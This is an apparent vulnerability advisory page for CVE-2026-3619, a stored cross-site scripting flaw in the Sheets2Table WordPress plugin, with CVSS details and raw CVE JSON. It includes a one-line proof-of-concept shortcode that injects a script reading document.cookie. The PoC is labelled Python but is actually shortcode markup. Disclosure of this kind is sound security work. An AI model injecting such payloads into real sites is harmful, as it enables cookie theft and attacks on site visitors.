Security Vulnerability Report
中文
CVE-2026-3619 CVSS 6.4 MEDIUM

CVE-2026-3619

Published: 2026-03-21 04:17:30
Last Modified: 2026-04-24 16:27:44

Description

The Sheets2Table plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'titles' shortcode attribute in the [sheets2table-render-table] shortcode in all versions up to and including 0.4.1. This is due to insufficient input sanitization and output escaping. Specifically, the 'titles' attribute value from the shortcode is passed through S2T_Functions::trim_array_values() (which only trims whitespace) and then echoed directly into HTML via `echo $header` inside a <th> tag in the display_table_header() function without any escaping such as esc_html(). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Sheets2Table <= 0.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-3619 Stored XSS --> <!-- Usage: Add this shortcode to a WordPress page/post with Contributor+ privileges --> [sheets2table-render-table titles='"><script>alert(document.cookie);</script><"'] <!-- Explanation: --> <!-- The 'titles' attribute is not escaped when echoed inside a <th> tag. --> <!-- This breaks out of the attribute context and injects a script tag. -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3619", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:30.430", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Sheets2Table plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'titles' shortcode attribute in the [sheets2table-render-table] shortcode in all versions up to and including 0.4.1. This is due to insufficient input sanitization and output escaping. Specifically, the 'titles' attribute value from the shortcode is passed through S2T_Functions::trim_array_values() (which only trims whitespace) and then echoed directly into HTML via `echo $header` inside a <th> tag in the display_table_header() function without any escaping such as esc_html(). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Sheets2Table para WordPress es vulnerable a cross-site scripting almacenado a través del atributo de shortcode 'titles' en el shortcode [sheets2table-render-table] en todas las versiones hasta la 0.4.1 inclusive. Esto se debe a una sanitización de entrada y un escape de salida insuficientes. Específicamente, el valor del atributo 'titles' del shortcode se pasa a través de S2T_Functions::trim_array_values() (que solo recorta espacios en blanco) y luego se imprime directamente en HTML a través de 'echo $header' dentro de una etiqueta en la función display_table_header() sin ningún escape como esc_html(). Esto hace posible que atacantes autenticados, con acceso de nivel de Colaborador o superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/sheets2table/tags/0.4.1/core/class-sheets2table-tables.php#L122", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sheets2table/tags/0.4.1/core/sheets2table-shortcodes.php#L32", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sheets2table/trunk/core/class-sheets2table-tables.php#L122", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sheets2table/trunk/core/sheets2table-shortcodes.php#L32", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/82061b1f-a717-4007-978c-a3875669556f?source=cve", "source": "[email protected]"}]}}